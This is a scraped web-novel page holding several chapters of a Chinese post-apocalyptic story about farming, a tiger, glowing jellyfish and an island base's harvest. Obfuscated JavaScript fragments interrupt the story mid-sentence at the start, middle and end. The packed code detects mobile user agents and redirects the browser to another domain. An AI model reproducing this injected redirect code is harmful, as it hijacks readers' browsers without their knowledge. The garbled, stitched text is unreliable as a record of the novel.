l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252007|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻松。” “萧远舟,你看不起我?”江砚眉峰微挑,“别人都在忙活,让我吃白饭?我真的会种地,以前在别的基地干过。” 小卷毛用力点着小脑袋,奶声奶气地帮腔:“对叔叔,窝们种地,腻害!” 萧远舟的目光在江砚脸上停留了一会儿,带着点审视,江砚坐得笔直,眼神里透露出一股倔强。 萧远舟突然咧嘴一笑:“行啊,那明天你跟李叔去东边荒地瞧瞧。” 他转头又对李福说:“老李,给安排块好点的地。” 李福搓着手,有点为难:“真让他去啊?这小伙子,看着不像能下地的料。” “没事,让他去吧。” 窗外,最后一缕夕阳沉入海平面,基地陷入了一片黑暗。 第二天一大早,薄雾刚散,基地广场就排起了长队。基地的老中医带着个小药箱,正挨个给人打疫苗。 小卷毛紧张地望着前面打针的队伍。 “爸爸,会不会疼啊?”他仰起小脸,声音发颤。 江砚低头看他:“不疼。” 轮到小卷毛的时候,眨巴着大眼睛望着老中医:“爷爷,你可以轻一点吗?” 老中医道:“别怕,娃儿,这不痛的。” 针头扎进去的瞬间,小卷毛吓得闭住眼睛,小拳头攥得紧紧的。 针头一拔出来,他“嗷”地抽了口气,眼泪花在眼眶里直打转:“呜,还是疼疼的,谢谢爷爷。” 太阳刚爬上山头,萧远舟就带着陈凯和十几个兄弟骑着三轮车出发了。 花了一上午,总算把那群烦人的腐化狼清理干净。接着,大家又各自散开,捡海货,劈海怪,挖晶石,日子又恢复了往常的节奏。 与此同时,基地东边的荒地,已经开垦到半山腰了,李福正指挥着老人与妇女翻地开荒,忽然听见一阵拖拽声。 转头一瞧,当即愣住了,大白虎正拖着生锈的犁耙,呼哧呼哧地往前挪,犁耙过处,硬邦邦的土地被翻出一道道深沟。 江砚跟在后面,手里握着锄头,见有土块没打碎,便弯腰敲碎整平,动作不快,却异常利落。 小卷毛蹲在地上把杂草连根拔起,抖掉泥土就扔进背篓,白虎时不时回头舔舔他的手,蹭蹭他的头。 不远处,正在开荒的众人,停下了手里的活计,目瞪口呆地看着这一幕。 “我的老天爷!”张大婶揉了揉眼睛,“那老虎比牛还中用?这速度也忒快了!” “莫不是虎大仙显灵了?老虎还能拉犁?” “这都末世了,老虎成精不稀奇,不稀奇,你看那翻地的深度!”陈阿伯激动地指着犁沟,“足足一尺多深!真是挖地的一把好手哩!” “这,这……”李福激动地直拍大腿,笑得见牙不见眼,“哎呀呀,这简直是捡着宝了!我就说老大咋突然发善心带人回来,还是老大眼光毒啊!” 他小跑着凑到江砚跟前:“江小哥,您这大白虎……” “李伯伯,它叫大白!”小卷毛刚把一把草扔进背篓,可惜扔歪了,又屁颠屁颠跑过去捡起来,再认认真真地扔进去。 “大白,大白白好呀,真厉害,比十个壮汉干活还利索哩。江小哥,你这手艺绝了啊!真是人不可貌相!” 江砚擦了擦额角的汗:“跟我没有关系,老虎是江泽的,它只听江泽的话。” 李福闻言,眼睛瞪得更大了。他蹲下身,平视着小卷毛:“娃娃,这大白虎是你的,它咋能听你的话哩,莫不是异能兽?” 末世三年,谁不知道异能兽金贵。动物与人一样,要么成了见人就咬的腐化兽,要么就成了有特殊能力的异能兽。异能兽能力强,还能认主,哪个基地不想养几只? 他们基地馋了很久,隔壁长岁岛就靠着一只嗅觉异能狼,把巡逻范围扩了一倍。可异能兽哪那么好找?动植物变异本就少见,能驯服的更是凤毛麟角。 小卷毛眨巴着大眼睛,似懂非懂地点头:“大白白会保护我,它很厉害的!” 李福高兴得嘴都咧到耳根:“厉害,厉害,确实厉害,娃娃你真是个福宝宝,冬天能多种点儿粮食了。照这势头,不出五天,东边荒地就能全翻完!明儿我就喊人把这块地种上。” 江砚敲碎最后一块土疙瘩,放下锄头,拔除残余的杂草。翻地只是第一步,藏在土里的草根若不除净,日后准会疯长,抢了庄稼的养分。 他抖掉泥土,等背篓满了,就拎到不远处的空地上,那儿是基地专门晾晒柴草的地方,其他人割的草、捡的枯枝都堆在这儿,晒得半干就能当柴火。 13. 翻地 萧远舟骑着三轮车还没进基地,就被东边荒地的动静吸引了。 远远望去,只见江砚带着孩子正蹲在地里,手捏着草根往背篓里扔,手上沾了泥土,额角挂着汗珠。 他跳下车:“凯子,你带着大家伙先回去,我过去瞅瞅。” 他抄了条近路,踩着田埂向荒地走去,刚靠近就听见小卷毛奶奶的吆喝:“大白白,这边!这边还没弄好!” 江砚修长的手,被杂草磨出了几道红痕,指甲缝里全是泥,却仍迅速地拔着杂草。 萧远舟远远瞧见,总觉得此人与田地里的杂活格格不入,毕竟曾经众星捧月的人,手里拿着的是钢笔、酒杯、合同。 他还记得,校庆晚会,江砚穿着黑色燕尾服,坐在聚光灯下的钢琴前,衬得他白如玉。 指尖落下,琴声时而激昂,时而舒缓。他微微垂着眼,长睫在眼下投出淡淡的阴影,侧脸线条干净利落。 一曲终了,台下掌声雷动,耳边一片惊叹声。 还有胆子大的女生跑上台送花,围在一起叽叽喳喳说着赞美的话,而江砚只是礼貌性说句谢谢,眼神平静,让人亲近不得,却又忍不住被吸引。 萧远舟叹了口气,果真是风水轮流转,苍天饶过谁。想当年,江大少站在钢琴前,学校姑娘们的眼睛都快黏他身上了。 有朝一日,这双修长的手还得跟泥土里的杂草较劲呢。 这样的优秀人,在末世居然没有觉醒异能,反而让他这野小子捡着了大便宜,属实是老天爷给的逆袭剧本了。 正出神,忽然被一声清脆的童音打断。 “蜀黍!”小卷毛不知何时跑到他跟前,仰着沾满泥点的小脸,手里举着一株野草,“你看窝拔的草!” 萧远舟蹲下身,接过那株草,轻轻拍了拍孩子的头:“真厉害,江泽累不累啊?” “不累!”小卷毛骄傲地挺起胸膛。 萧远舟笑了笑,起身走到江砚身边,蹲下来顺手拔起几株杂草:“怎么样,还习惯吗?这活太糙,要是受不了,明天我跟老李说一声,给你换个轻省点的。” 江砚手里的动作没停,声音淡淡的:“还好,李老板挺满意。” “嗯?”萧远舟一时没反应过来,“满意什么?” 江砚抬眼朝前方扫了一圈,微微挑眉,下巴轻扬:“你没看见?这一片,都是我们收拾出来的。” 萧远舟顺着他的目光望去,不由怔住了。原本杂草丛生的荒地,此刻已被整齐地翻垦出大片泥土,十几个妇女正弯腰在翻好的土里捡拾杂草,效率明显比往常快了许多。而这一切的源头,正是那头正在不远处拖着犁耙的白虎。 “我的大白可厉害啦!”小卷毛站在田埂上,小手兴奋地指着白虎,“力气大,速度还快,翻地棒棒哒!” 江砚笑了笑,抬起头:“李老板还说……这大猫比十个壮汉还中用!” 小卷毛站在田埂上,有样学样,叉着腰重复:“比十个壮汉还中用!” 江砚郑重点点头:“嗯,是的。” “行啊江少爷,”萧远舟用肩膀轻轻撞了下他,“种地也是一把好手。” 江砚嘴角微微上扬:“有奖励吗?” “哟,还跟我讨起奖了?”萧远舟挑眉,随即笑了,“行啊,想要什么?” 江砚抬眼望向正趴在地上歇息的白虎,声音平静:“给大白两颗晶石。” 萧远舟顿时明白过来。异能兽不需要吃五谷杂粮,但却需要靠晶石补充能量,尤其是像大白这样干了重活之后,消耗更是巨大。 他从口袋里摸出几颗晶莹剔透的晶石,递到江砚手中:“早说啊,这不难,晶石我有。” 末世三年,萧远舟拥有雷系异能,杀伤力大,攻击性强,自然攒下了一笔小小的家产。 江砚接过晶石,起身走到白虎身边,将晶石放在它面前。大白虎立刻支起耳朵,用鼻尖蹭了蹭晶石,然后张大嘴巴一口含进嘴里,发出满足的呼噜声。 萧远舟和江砚重新并肩蹲在地里,手指在泥土间忙碌。夕阳将两人的影子拉得很长,在地里交叠在一起。 萧远舟抓起一把土,在掌心搓了搓:“明天就能让人把种子种下了。” 江砚正用小锄头敲碎土块,闻言抬了抬眼:“不急,这土得先晒两天,杀杀里头的虫卵。下种前掺点草木灰,兑点硫磺粉,能防虫害,提高出苗率。” “草木灰我晓得,为何还放硫磺粉?” “在研究所学的。那儿土地贫瘠,只能想办法提高产量。” 江砚指向几株锯齿状的野草:“那种变异野草的汁液兑水,可以防治末世后常见的灰霉病。” “等等……”萧远舟直起身,“你在研究所,难不成是搞农业研究的?” “不然呢?”江砚头也不抬,“现在的光景,还能搞什么研究?虽然烛光会势力虽大,研究院也有好几栋楼,但我只负责研究种子。” 萧远舟手里的动作慢了下来,望着眼前大片翻好的土地,声音沉了沉:“江砚,现在土地越来越差,种什么都长不旺。你在研究所待过,没琢磨出更管用的法子吗?” “没有。我刚才说的那些,撑死了也就提高一成产量。想要吃得饱,还差得远。” 他顿了顿,声音轻:“在研究所时,我提议过用变异植物嫁接。物竞天择,我想既然普通作物活不下去,就让它们……进化。” “这法子可行吗?” 江砚摇摇头,将野草扔进背篓:“失败了,试了27次。两种植物根本长不到一块去,好不容易接上了,原本没毒的植物突然变得有毒,还有的会长出带刺的藤蔓。” 他沉默片刻:“最成功的一次,嫁接苗活了两个月,然后……” “然后怎样?” “然后绞死了三个研究员。”江砚的声音平静得可怕,“那株番茄藤突然暴长,长满尖刺,把最近的活人生生勒死了。我终止了项目。这不是在创造粮食,是在制造怪物。” 萧远舟沉默片刻,往江砚身边靠 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他抬眼看向孩子,眼神认真却温柔:“江泽,慢慢吃,就着米汤咽下去。现在不是挑食的时候,想活下去,不饿肚子,你就要学会适应。” 小卷毛看着江砚的眼睛,又看了看碗里的蛤蜊肉,小脸皱成一团,最终还是拿起勺子,混着蛤蜊碎的米汤,闭着眼睛像喝中药一样,还夸张地抖了抖小身子。 张丽娟笑了:“好孩子,真懂事!多吃两口,身上才有劲儿!” 海风吹过,带着咸腥的潮气。每人碗里的饭不多,但都知道,想在末世活下去,这点腥味,必须得咽。 天彻底黑了,萧远舟锁好门,上楼推开客厅的门。 只见江砚正坐在木桌旁,换下了做工的脏衣服,穿了件浅灰衬衫,袖口卷起,领口松垮,随着动作露出锁骨,干净清爽,依稀还有几分往日清贵公子的模样。 小卷毛则趴在床沿,穿着一件明显过大的白色睡衣,下摆被剪到小腿处,腰间系着一条布带子,把衣服扎得整整齐齐,像个穿着小袍子的娃娃。 萧远舟瞧见小卷毛后腰歪歪扭扭的布绳结,忍不住笑了:“这丑衣服哪儿来的?” 江砚抬起头,语气冷淡:“我改的。怎么了?” “哦,这样啊!”萧远舟立刻改口,“真好看,手艺不错,比张婶儿缝得周正。” 小卷毛从床上爬起来,拽着衣角转了个圈,炫耀似的扬起下巴:“叔叔,爸爸给江泽做的衣服,好看!” 萧远舟倚在门框上,提议道:“卷毛,今晚十五,叔带你去瞭望塔。夜里海面上能看到发光的东西,去不?” 小卷毛耳朵尖,停止了转圈圈,转得太多,小脑袋还有点晕乎乎的。他眨巴着大眼睛:“发光?像星星一样吗?” “比星星亮多了,还会动呢。” 江砚语气带着惯有的疏离:“晚上风大,不安全,还是早点睡觉吧。” “怕什么?”萧远舟挑眉,“岛上偏僻,我经常带着人清理基地周围的腐化兽,没东西会过来的。” 14. 发光水母 晚上风大。萧远舟走在前面开路,小卷毛夹在中间,一手攥着江砚的衣角。 萧远舟偶尔回头,忽然觉得这场景荒唐得可笑。 曾经在学校,时常争得面红耳赤,甚至还动过手,一个是天之骄子,一个是街头混混,本该在两条永不相交的轨道上,如今竟会因为一个孩子,踩着同一片夜色去看海。 瞭望塔立在基地最高的礁石上,塔身高耸,能俯瞰整个基地和半片海域,塔身爬满了青苔。 推开扇破旧的门,灯塔内部昏暗,几缕月光从高处通风口落下,狭窄的楼梯蜿蜒向上,通往塔顶。 萧远舟踏上了旋梯,刚探身登上平台,就见两个年轻的守卫正靠着栏杆打盹,听到动静猛地惊醒,慌忙去抓靠在墙边的武器。 “大……大当家!”守卫认出萧远舟,立刻站直了身子,脸上有些窘迫。 萧远舟冷笑一声:“底下几百号人等着你们睁着眼守,你们倒好,睡得挺沉啊。累了就下去换岗,没人拦着。” “记住,下次若再让我撞见,就不是换岗这么简单了。” 守卫如蒙大赦,赶紧快步溜下了旋梯。 顿时,塔顶只剩下他们三人,海风扑面而来,吹得衣袂翻飞,发丝凌乱。 萧远舟伸手扶住栏杆,眯眼看向黑沉沉的海平面,压低声说:“这里是守灯岛视野最好的地方。从前啊,这片海热闹得很。” 小卷毛仰着头,眼睛亮晶晶的:“有多热闹?” “每到渔汛,海面上全是渔船,太阳落山时,会亮起渔火,那是渔船上的灯火。” ”傍晚退潮时,沙滩全是捡海货的人,螃蟹、贝壳、海带,小鱼小虾,还有渔民天不亮就会出海撒网,等渔船归港时,海鸥围绕海岛盘旋。” 他扯出个浅淡的笑容,笑意不达眼底,“真可惜啊,都看不到了,回不去了。” 小卷毛拽了拽萧远舟的衣角:“叔叔,为什么会看不到啊?” 萧远舟沉默了几秒:“海变了性子,有时候会发脾气,掀翻渔船,涨潮卷走沙滩上的东西,偶尔腐化怪物也会爬上岸来。” “但这片海也不是总发脾气,你看,今晚它就很乖,是不是?” 三人朝海面望去,只见一轮圆月低悬,海面之下浮现出大片半透明的伞状生物,泛着柔和的荧光,如同整片海洋被点亮了一般。光斑随着潮汐轻轻晃动,起伏不定。 “那是什么?真漂亮呀……”小卷毛眼睛睁得圆圆的。 “是变异水母,它们只在满月夜浮上来。” “像星星一样亮!” “是的。” “它们……在唱歌呢,”小卷毛突然开口,声音软软的,“是大海的歌,软乎乎的,很好听喔。” 江砚低头看向孩子:“你听见了?” 小卷毛兴奋地指向远处:“是哇!你们看,大大的水母还在指挥呢!啦~啦啦~” 萧远舟顺着孩子指的方向望去,海面上只有成片的荧光缓缓起伏,像被风吹动的星河,根本没有什么特别大的水母。他眉梢微扬,疑惑地看向江砚。 月光清晰地勾勒出江砚的侧脸,他轻轻摇头:“太远了,我看不到。” “唔,怎么会呢?”小卷毛嘟囔着,“大水母都看到我了呢。” 萧远舟瞳孔微微一缩:“看到你了?” “嗯,它在对我笑呢,它的触须会发光,特别特别亮。” 江砚的声音压得很低:“理论上,水母没有听觉器官,更不可能唱歌……但如果是次声波的话……” “次声波?” “一种低于人类听觉范围的声波。某些海洋生物能通过它进行远距离交流。” 萧远舟迟疑地问:“那为什么……只有小卷毛能看见那只大的?” “或许不是看见,而是感知,毕竟小卷毛本身就拥有御兽异能,能感知道大部分生物。” 海风渐渐凉了下来,卷着潮气往人骨头缝里钻。小卷毛打了个哆嗦,往江砚怀里缩了缩,眼睛却还黏在海面上。 江砚说道:“风太大了,江泽也该困了,回去睡觉吧。” 回去的路上,萧远舟一直思绪不宁,原本认为是无害的变异水母,多年来相安无事,便没放在心上。 可眼下这情形,能被孩子感知到的歌声,谁能知道是好是坏,会不会出现攻击性,在某个时刻攻击人类,毕竟大海早已不再平静了。 日子就像潮汐,看似波澜不惊地往前推。 萧远舟照旧日上三竿时带队伍去捡海货,退潮后的沙滩上,礁石缝里藏着螃蟹、海螺和章鱼,运气好还能碰上搁浅的大鱼。 要么他会独自去猎杀丧尸和腐化兽,有时也会和其他人组队,基地有规矩,谁猎杀的怪物,晶核就归谁。末世里,谁不想提升异能等级?毕竟能力才是活下去的根本。 而江砚起得更早,在大老虎的帮助下以及李福的极力推荐,如今他已经跟黑子一同管理田地了,每日天亮便起床,带着老人妇女搞农业,两人碰面的机会不多,多半是在晚餐时,聊几句。 小卷毛再没提过水母的事,大概是忘了。 十月悄然而至,天气却依然闷热,不见丝毫凉意。基地新开垦的田垄上,已经冒出了零星的嫩绿小苗。 这日,晨雾还未散尽,萧远舟就蹲在门口磨刀,摩擦时空气弥漫铁器特有的腥味。 “今天不出去了?”江砚从楼梯上走下来问道。 萧远舟用拇指试了试刀刃:“地里的事等不得。刚才黑子来说,西边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252009|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的云层聚集,说不定过些天要变天。” 江砚抬头望了望天,他对看天气一窍不通,从前都是靠天气预报过日子:“去年的雨季,月底才来的,现在才刚刚月初呢,而且地里种的是晚稻,还没到收割的时候。” 萧远舟轻笑一声:“江少爷,这你就不懂了吧?” 他站起身,指向西边天际,“你看那云,虽然还没聚拢,但已经有点棉絮状了,一层叠着一层。若云要是厚起来,说不定哪天就兜不住水了。” 晨风吹起他的衣角,他用袖子擦了把额头的汗,“晚稻是没熟,可你们刚种下的冬苗呢?万一雨提前来了,不搭上雨棚子,种子全都得泡烂在土里。” 他顿了顿,语气认真起来,“雨季最是缠人,一旦下起来就没完没了。到时候别说晒粮食了,海水跟着涨潮,低处全都得淹。基地所在的山头倒是没事,可下面的小镇年年都被淹,现在镇里还积着水呢。” “那……”江砚刚开口,就见黑子从宿舍楼那边跑过来。 “老大,都通知到了,今天谁也不外出,全都留在基地帮忙。” 这时,小卷毛揉着眼睛从楼梯走下来,宽大的睡衣下摆几乎拖到小腿,他扶着栏杆,一步一挪:“爸爸~” 江砚回头应道:“嗯,你醒了。” “窝醒了,爸爸。” “江泽,我带你先上楼换衣服。” “好哇。” 江砚弯腰抱起孩子往楼上走。衣柜里空荡荡的,小娃娃的衣服本就不多,好几件都是用大人的旧衣改的。 他翻出一件半旧的短袖,袖子和下摆都被剪短了,用线歪歪扭扭缝上,腰侧还特意收了两道褶。 给孩子换好衣服,穿上小拖鞋,小卷毛晃了晃身子,衣服空荡荡地挂在身上:“大大哒。” “能穿就行。”江砚捏了捏他的小手,牵着人下楼。 此时,广场上已经聚集了不少人,萧远舟正和黑子交代着什么,见他们下来,目光在孩子身上停留片刻。 萧远舟道:“娟姐,你带人负责警戒,可不能再让你手下的人偷懒了,抓到的话罚你三天不许吃饭。至于你如何罚他们我不管,其余人都跟我下地。” 张丽娟立即应道:“放心,谁眼皮敢合上,我先让他围着基地跑50圈,让人好好提提神!” 剩下的人分成四组,陆续走出基地,朝着不同的方向而去。门外是大片梯田,种植的作物长势不算好,菜叶上全是虫咬的痕迹,根茎也不够饱满,但胜在面积广阔,一望无际。 大家都明白,这些收成凑在一起,足够基地四百多人吃上一阵子。省着点用,还能熬过雨季和半个冬季。 田埂间锄头、镰刀的声音不绝于耳,没人多话,都埋头往筐里装着菜。 15. 秋收 小卷毛脑袋上扣着盆,跟一群孩子们往稻田里挪。这是李福安排的活儿,捡回来的麦穗掺上红薯能煮锅稀粥,够对付一顿饭,可不能糟践了。 走在最前头的是阿毛,九岁,大山的儿子。他本该有个弟弟,但妈妈和弟弟都是最早感染的,还差点把他咬了。 大山带着他逃出来时,他还小,整天哭喊着要妈妈。大山就抱着他坐在哨塔下,哄着:“妈妈和弟弟去了很远的地方,等你长大了,他们就回来了。” 三年过去,阿毛早就明白了,妈妈和弟弟回不来了。末世里头,他能依靠的,只有爸爸。 “阿毛哥,那边地里好多麦穗!”小花指着前面的麦田。田里还有人正弯腰割麦。 “走,过去瞧瞧。” 一群小孩子端着盆呼啦啦地跟了上去。 王翠花瞅着这群急匆匆的娃,嗔怪道:“哎哟,你们一群小崽子跑这快干啥?当心摔着!” 汪晴也停下手中的活,看向自家闺女:“二丫头,咋出一头汗?要不要歇会儿?” 二丫使劲摇头,笑眯眯地说:“妈妈,我不累,我要帮哥哥姐姐捡麦子。” 王翠花:“二丫头真懂事。不过累了可不许哭啊。阿毛,你年纪大,别跑太快,摔着了大人可得找你爸说理去。” “翠花婶,知道了,下次我慢点。” 说话间,阿毛已经带头钻进了麦田。其他孩子也跟着散开,认真捡起掉在地上的麦穗。 小卷毛头一回干这个,觉得新鲜极了。他盯着土里的麦穗,伸出小手去抠,指甲缝里很快塞了泥。 旁边和他一起的小男孩叫石头,皮肤黝黑,身子瘦小,脑袋显得特别大。他爹娘都没了,是个孤儿,当初是陈凯从丧尸嘴里把他救回来的。 “小卷毛,别用指甲抠啊。” “为啥呀,石头?” “抠多了指甲里全是泥。阿毛哥说了,拿小棍把麦穗拨出来就行。” 阿毛在一旁听见了,抬头喊道:“对,小卷毛,用棍子刨!” “哦,好!”小卷毛赶紧在田里找了根小木棍,高高兴兴刨土。 风吹过麦地,扬起些许尘土。镰刀割麦。日头渐渐升高,晒得人后背发烫。 “你们这儿收成怎么样?”陈凯开着三轮车停在路边,车斗里已经堆了半车麻袋。 田里的老头直起腰,没好气地说:“陈小子你吼啥?生怕引不来那些活死人是不是?这儿还行吧,赶紧拖回去打谷!” 陈凯跳下车,拍了拍车把上的锈迹,笑道:“陈阿伯,大白天的,它们耳朵没那么灵。真敢来,我倒正好收几颗晶核。” “我晓得你小子有本事,可那玩意儿长得忒瘆人,看一回我好几晚睡不好,跟从地底下爬出来的恶鬼一个样。”陈阿伯一边嘟囔,一边挪麻袋,“来来,我帮你把这几个袋子弄上车。” 陈凯没多话,利索地把麻袋扛上车。他刚要转身去别处,眼角瞥见麦田里蹲着几个小孩,像一群小猫儿似的,正埋头捡麦穗。 “石头!”陈凯喊了一嗓子。 石头猛地抬头,一见是他,顿时笑了:“凯叔!” “嗯,捡多少了?” “有小半盆啦!” “行,等忙完了,叔开车带你们几个去山头兜风。” “真的吗,凯叔?” 孩子们纷纷停下手里的活,一个个抬起头,眼巴巴地望着陈凯。他们末世之后就没坐过车,小时候的记忆早就模糊了。 基地里电动三轮车虽然不少,但每辆车对大人运送物资、往返干活都至关重要。 小娃娃们一直待在基地里,从没出去过,更别说坐车了。一听陈凯这话,一个个激动得不得了。 二丫兴奋地问:“凯叔,真的能去兜风吗?是不是像飞一样呀?” “凯叔,我还没坐过车呢,你不许骗我们!我就知道你最好了!” 阿毛虽然年纪稍大,也难掩兴奋:“凯叔,你要带我们去,我们一定好好捡麦穗,绝不耽误你事!” 孩子们你一句我一句,叽叽喳喳说个不停。 陈凯在众人的簇拥下笑着点头:“好好干,叔说话算数。” 他挥挥手,发动三轮车。车斗已经装得满当,得赶紧运回广场。此时不光田里忙得热火朝天,广场上也早已有人在打谷。 刚割下的麦穗还连着秸秆,得先打谷,再摊开晾晒,等水分晒干才能脱粒入仓。 陈阿伯望着三轮车渐渐远去,抬手遮了遮刺眼的阳光。毒辣日头晒得人发晕,他咂了咂嘴嘟囔:“种了一辈子地,从没见过这邪性的天。要么热得脱层皮,要么冻得裂口子,秋天涝春天旱,这日子啥时候是个头?” 王翠花把手里的镰刀往麦捆上一磕,没好气:“陈老头,你就不能说点好听的?愁有啥用?眼下有口饭吃、饿不死,就知足吧!” “你那饭?”陈阿伯撇撇嘴,“腥乎乎的,我这把老牙都快咽不下去了。” “我看你就是嘴刁!我闻着挺香,吃着也顶饿。倒是你们,以前好日子过惯了,现在反倒挑三拣四!” 她说的是真心话。小时候家里穷,爹走得早,娘一人拉扯五个娃,常常吃了上顿没下顿。十六岁那年,她就被嫁给了大她二十岁的老光棍,男人又懒又爱喝酒,挨打受骂是家常便饭。 苦日子过惯了,她早就练出了一身本事,几滴油能炒一锅菜,一把米能熬半锅粥,省下几毛钱能高兴半天。在她看来,能填饱肚子就是福,哪还顾得上啥滋味。 可其他人不一样。他们以前顿顿有肉,炒菜要放酱油醋,热了开空调,冷了有暖气。如今这日子一下子退回到几十年前,甚至还不如,整天提心吊胆,生怕活死人扑来,实在熬人。 王翠花又说:“能活着就不易,哪来那么多讲究?饿不死就行。” 陈阿伯没再接话,弯下腰继续捆麦。 日头渐渐爬到头顶,孩子们的盆里都装了半满。阿毛已经悄悄把自己盆里的麦穗,往其他小伙伴盆中匀了些。 三轮车来来回回跑了几趟,每次经过田边,孩子们都直起脖子张望。 正午太阳晒得地皮发烫,萧远舟满手是泥,骑着三轮车到各处喊话:“今天加餐!大家都歇一歇,回基地吃晌午饭!” 基地向来是两餐制,早晚各一顿稀粥。虽说饭食寡淡,可整天在地里干活,汤汤水水根本填不饱肚子。众人一听加餐,脸上都露出笑意,手里动作也慢了下来。 汪晴正坐在田埂上给二丫重新扎羊角辫,红绳在指尖绕了两圈,她转头问王翠花:“王婶,今儿咋突然加餐了?也没喊你回去烧饭啊?” 王翠花甩了甩手上的泥,满不在乎:“谁知道呢?许是收成不错,大当家高兴呗。” “小崽子们都过来!”陈阿伯扯着嗓子喊,“把盆里的麦穗倒进麻袋,赶紧的,这日头要吃人喽!” 阿毛立刻领着人跑去,他撑开麻袋口,孩子们挨个将盆里的麦穗倒进去。 大人们陆续收拾农具,把捆好的秸秆塞进麻袋,待会一并运去广场。田里的人们渐渐聚成队伍,有人扛锄头,有人拎镰刀,男人们肩上压着沉甸甸的麻袋,一路说说笑笑朝基地大门走。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252010|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到了广场,只见地上铺开大片蓝粉色的胶质布。秸秆摊在上面,年轻汉子挥动连枷,长柄带动木板一次次拍下,麦粒簌簌落在布上,渐渐堆成小丘。 年长的老人则拎着簸箕来回穿梭,将麦粒分到胶布上摊匀。才一个上午,麦粒已经铺得满满当当,还有人扛着新的胶布往空地铺,打算把基地里所有能用的地方都利用起来。 众人沿着特意留出的窄道往回走。太阳烤得人头皮发烫,只想找阴凉地躲躲。 小卷毛坐在凉棚底下,眼睛睁得圆,看小伙伴们玩弹石子游戏。他的视线跟着石子溜溜转,每当石子稳稳压线,他会高兴地拍起小手。 “江泽。” 一声低唤从身后传来。 小卷毛扭过头,看见是江砚,眼睛顿时亮了:“爸爸!” “嗯,起来,该回去了。” 小卷毛听话从地上爬起来。江砚轻轻拍掉小孩子裤子上沾的土:“走吧。” 小卷毛回头朝小伙伴挥挥手,奶声奶气:“拜拜!窝等会儿再来找你们玩呀!” 江砚走在前面,小卷毛就一蹦一跳地跟在后头。 棚下乘凉的人们看着江砚牵孩子远去的背影,忍不住交头接耳起来。 “瞧见没?江小哥家那娃娃真招人疼。”中年妇女用胳膊肘碰了碰身旁的人,“瞧那蹦蹦跳跳的样儿,多乖哇。” 旁边瘦高个男人咂咂嘴:“要我说,还是江小哥命好。长得俊,又有本事,难怪大当家看重。” 一个大婶压低声音:“可不是嘛!都住一屋了,这日后不成一家子啊?要我说呀,以后这基地没准就是那小娃娃的。” “嘘!快别说了!”年轻小伙紧张地四处张望,“让大当家听见可不得了。你们忘了上回阿虎的下场了?虽然电不死人,那也痛啊。 黑子正好路过,听见这话脚步停留:“都嚼啥舌根呢?咱大当家做事公道,你们是没见识过别的基地啥样子。” 众人顿时安静下来。黑子继续道:“北岛那边拿活人当诱饵喂丧尸,还有些地方干活慢一点就往死里打。咱们这儿能吃上饭,大伙儿可要知足?” 最先开口的妇女连忙赔笑:“黑队长说的是,我们就是随便聊聊,没别的意思。” “就是就是,”瘦高个赶紧附和,“大当家虽然严厉,可对咱们没得说。这世道,能跟着这样的头儿是我们的福气。” 正说着,就见李福端着个高摞的碗走在前面,后面两个汉子抬着一口大铁锅。 “开饭了,开饭了!”李福亮开嗓门喊道。 铁锅刚在石台上落定,他一把掀开木盖,浓郁麦香顿时弥漫开来,锅里熬的是红薯小麦粥。后面还有妇人端着大铁盆跟过来,盆里盛的是红烧土豆。 李福拿长柄勺敲了敲锅边,高兴道:“今天秋收,老大高兴,特意吩咐给大家煮点好的,慰劳慰劳!你们可得记着老大的好。他心善,要不然你们早饿死了。” “不用李老板多说,大伙心里都清楚,老大对咱们好!” “就是,要不是他,我前两年就饿成干尸了。” 阿毛挺起胸脯大声说:“对!我爸说了,萧叔是天底下最好的,让我好好干活,长大了就跟着萧叔干!” 黑子笑道:“你个小机灵鬼,可真会说话,都快赶上阿虎了!” “我才没瞎说!我从来不拍马屁,说的都是实话!咱老大不就是最厉害的吗?这附近谁敢惹他!” 李福:“行了都安静点,别光动嘴皮子。赶紧吃饭,下午还要干活。今天有菜,二十人一盘土豆,都自觉点!” 16. 抢收 一楼桌上的菜肴比外头丰盛许多,每人面前一碗红薯粥,中央摆着四碟菜,红烧土豆、腊鱼炖萝卜、清蒸海虾和凉拌海带丝。 萧远舟建立基地,从没打算亏待自己。身为领导者,手下人都能吃上热饭热菜,他这里自然要多几样像样的伙食。 他坐在主位,轻叩桌面:“都别客气了,用餐吧。今天的菜色还合大家口味?” 柒莹夹了一筷海带丝,淡淡道:“我都可以,我不挑食。” 黑子咧着嘴笑:“太满意了!张博这手艺绝了,比王婶那粥强多了!” 陈凯刚坐下就踹了他一脚:“就你话多,让王婶知道,看你明天还有没有鱼吃。” 汪成文推了推眼镜,认真评价:“确实很丰盛,难为老大费心了。” 他拿起筷子,又迟疑地看向萧远舟:“不等李老板吗?他还在外头分粥。” “厨房留着呢,”萧远舟头也不抬,夹起一块腊鱼,“让他忙完再吃,不差这一时半会。” 陈丽娟在柒莹身旁坐下,笑说:“刚才进来时,听到外面都在夸老大心善呢,是在世活菩萨。” 萧远舟面色如常,只淡淡应道:“大家满意就好。” 心里却在想,都快一年没好好吃顿饭了,整天喝粥,嘴里都快没味了。好不容易新粮入库,总算能改善下伙食。 